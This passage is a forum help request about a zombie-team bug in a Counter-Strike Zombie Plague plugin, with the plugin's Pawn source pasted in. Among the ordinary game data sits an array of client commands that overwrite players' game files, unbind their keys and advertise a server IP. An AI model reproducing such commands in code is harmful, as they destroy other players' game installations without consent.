Raised This Month: $32 Target: $400
 8% 

About Zombie team problem


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Ali0mer
Senior Member
Join Date: Jan 2016
Location: Iraq
Old 05-10-2020 , 12:39   About Zombie team problem
Reply With Quote #1

Hello, guys

I used xFakeplayers as bots to test the addons

i have a problem with zombie team. you know when round start the plugin choose someone to become zombie. The problem is that some of the humans move to [TEAM ZOMBIE]. And with that the round never ends.....

Here is the SMA CODE
Code:
#include zombie_plague
#include float
#include hamsandwich

#pragma library engine
#pragma loadlib engine
#pragma library fakemeta
#pragma loadlib fakemeta
#pragma library zombie_plague
#pragma loadlib zombie_plague
#pragma library cstrike
#pragma loadlib cstrike
#pragma library csx
#pragma loadlib csx
#pragma library hamsandwich
#pragma loadlib hamsandwich

new bool:g_bConnected[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new Data[33][ __GEO_DATA_COUNT__ ][128];
new bool: Loaded[ 33 ];
new g_cPlayerAddress[33][24];
new Float:g_fLastLeapTime[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
	-1, ...
};
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new bool:g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new bool:g_bPlanting[33];
new bool:g_bRemoving[33];
new g_iPlayerMines[33][2];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[33][24];
new g_cNames[33][32];
new g_cPasswords[33][32];
new g_cFlags[33][32];
new g_cTags[33][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_cHudCollors[64][15];
new g_cHudAdvertisements[64][120];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iLimitReached[33];
new g_cZombieInfectSounds[5][0] =
{
    "zombie_plague/zombie_infect_01.wav",
    "zombie_plague/zombie_infect_02.wav",
    "zombie_plague/zombie_infect_03.wav",
    "zombie_plague/zombie_infect_04.wav",
    "zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "zombie_plague/end_round_win_zombies_01.wav",
    "zombie_plague/end_round_win_zombies_02.wav",
    "zombie_plague/end_round_win_zombies_03.wav",
    "zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "zombie_plague/end_round_win_humans_01.wav",
    "zombie_plague/end_round_win_humans_02.wav",
    "zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "zombie_plague/round_start_survivor_01.wav",
    "zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "zombie_plague/round_start_nemesis_01.wav",
    "zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "zombie_plague/zombie_burn_01.wav",
    "zombie_plague/zombie_burn_02.wav",
    "zombie_plague/zombie_burn_03.wav",
    "zombie_plague/zombie_burn_04.wav",
    "zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "zombie_plague/human_nade_infect_scream_01.wav",
    "zombie_plague/human_nade_infect_scream_02.wav",
    "zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    {0.50, 0.40},
    {0.56, 0.44},
    {0.60, 0.50},
    {0.56, 0.56},
    {0.50, 0.60},
    {0.44, 0.56},
    {0.40, 0.50},
    {0.44, 0.44}
};
new Float:kb_weapon_power[31] =
{
	-1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
	0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
    "Glock 18C",
    "USP .45 ACP Tactical",
    "P228 Compact",
    "Desert Eagle .50 AE",
    "FiveseveN",
    "Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
    "IMI Galil",
    "Famas",
    "M4A1 Carbine",
    "AK-47 Kalashnikov",
    "SG-552 Commando",
    "Steyr AUG A1",
    "Schmidt Scout",
    "M3 Super 90",
    "XM1014 M4",
    "Schmidt TMP",
    "Ingram MAC-10",
    "UMP 45",
    "MP5 Navy",
    "ES P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_glock18",
    "weapon_usp",
    "weapon_p228",
    "weapon_deagle",
    "weapon_fiveseven",
    "weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_sg552",
    "weapon_aug",
    "weapon_scout",
    "weapon_m3",
    "weapon_xm1014",
    "weapon_tmp",
    "weapon_mac10",
    "weapon_ump45",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "zclasic",
    "raptor",
    "predator_blue",
    "mutant",
    "frozen",
    "regenerator",
    "hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/zombie_plague/clasic_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/predator_blue_claws.mdl",
    "models/zombie_plague/mutant_claws.mdl",
    "models/zombie_plague/frozen_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
    5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
    1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
    264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
    0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
    "Clasic",
    "Raptor",
    "Predator 4",
    "Mutant",
    "Frozen",
    "Regenerator",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\y[=Balanced=]",
    "\y[Speed +++]",
    "\y[Powerful]",
    "\y[Health +++]",
    "\y[Double Jump]",
    "\y[Regeneration]",
    "\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
    "NightVision (single round)",
    "T-Virus Antidote",
    "Zombie Madness",
    "Infection Bomb",
    "Explosion Nade",
    "Napalm Nade",
    "Frost Nade",
    "AWP Magnum Sniper",
    "M249 Para Machinegun",
    "SG550 Auto-Sniper",
    "G3SG1 Auto-Sniper",
    "Jetpack+Bazooka",
    "Unlimited Clip",
    "Armura (100ap)",
    "Armura (200ap)",
    "Multijump +1",
    "Cumpara Tryder",
    "Cumpara Supravietuitor",
    "Cumpara Sniper",
    "Cumpara Nemesis",
    "Cumpara Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
	2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
	2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
    "Angelina Jolie",
    "Megan Fox",
    "Keira Knightley",
    "Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
    "snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
    "motdfile models/player/terror/terror.mdl",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "unbindall",
    "cl_timeout 0",
    "fps_max 1",
    "rate 0",
    "_restart"
};
new Float:g_fSizes[70][3] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT"))
			{
				formatex(cReplacement, 188, "^x01(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T"))
			{
				formatex(cReplacement, 188, "^x01(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD*(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD*(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec"))
			{
				formatex(cReplacement, 188, "^x01(Spectator) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All"))
			{
				formatex(cReplacement, 188, "^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec"))
			{
				formatex(cReplacement, 188, "^x01*SPEC* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ )
	{
		Name[ i ] = tolower( Name[ i ] );

		if( !isalpha( Name[ i ] ) )
		{
			Name[ i ] = '_';
		}
	}
}

LoadData( Player )
{
	new Name[ 32 ];
	get_user_name( Player, Name, 31);
	StripName( Name );
	new FileLine[ 512 ]
	formatex( FileLine, 511, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
	new File = fopen( FileLine, "r" );
	if( File )
	{
		new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
		while( !feof( File ) ) 
		{
			fgets( File, Row, 255 );
			trim( Row );
			if( Row[ 0 ] == '"' ) 
			{
				parse( Row, Key, 127, Value, 127 );
				if( i < __GEO_DATA_COUNT__ )
				{
					formatex( Data[ Player ][ i ], 127, "%s", Value );
				}
				i++;
			}
		}
		fclose( File );
		Loaded[ Player ] = true;
	}
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 150) == 1) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || get_team(i) == 2)
			{
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 20 && g_iLastMode != 32 && random_num(1, 180) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 6900);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 180000);
			}
		}
		iMaxZombies = floatround(0.4 * g_iAliveCount, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					set_team(i, 2);
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 150) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;	
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					set_team(i, 2);
				}
			}
			i += 1;
		}		
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 300) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 67500);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 11400);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 25000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 12500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 470) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 35000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 12500);
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		StartAssassinMode(0);
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);				
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartAssassinMode(0);
	return 0;
}

StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 50) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 40) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartNormalMode(0);
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			set_team ( i, 2 );
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
